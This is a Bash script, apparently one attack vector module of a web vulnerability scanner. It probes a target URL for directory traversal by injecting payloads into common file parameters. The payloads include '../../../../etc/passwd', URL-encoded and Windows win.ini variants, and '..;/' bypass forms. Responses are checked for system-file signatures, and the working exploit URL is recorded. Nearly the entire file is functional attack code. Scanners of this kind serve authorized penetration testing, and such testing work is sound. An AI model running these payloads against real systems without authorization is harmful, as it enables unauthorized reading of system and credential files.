Files
th-analyzer/vectors/07-directory-traversal.sh

51 lines
1.5 KiB
Bash
Executable File

#!/usr/bin/env bash
# Vector 07: Directory Traversal
# Desc: Path traversal to read arbitrary files
# Detect: file=, download=, doc=, pdf= parameters
# Severity: HIGH
# Tools: curl
vector_dtrav() {
local target="$1"
local report="$2"
local findings=0
print_info "Testing Directory Traversal vectors..."
local trav_params=("file" "download" "doc" "pdf" "attachment" "d" "f" "folder" "dir" "img" "document" "view" "page")
for param in "${trav_params[@]}"; do
local tests=(
"../../../../etc/passwd"
"..\\..\\..\\windows\\win.ini"
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
"....//....//....//etc/passwd"
"..;/..;/..;/etc/passwd"
)
for trav in "${tests[@]}"; do
local test_url=""
if [[ "$target" == *\?* ]]; then
test_url="${target}&${param}=${trav}"
else
test_url="${target}?${param}=${trav}"
fi
local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]"; then
print_find "Directory Traversal!" "File read via $param with: $trav"
echo "SEVERITY: HIGH
VECTOR: Directory Traversal
DETAIL: Path traversal via parameter '$param' on $target
EVIDENCE: System files readable: ${response:0:100}
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_dtrav.txt"
findings=$((findings + 1))
break 2
fi
done
done
return $findings
}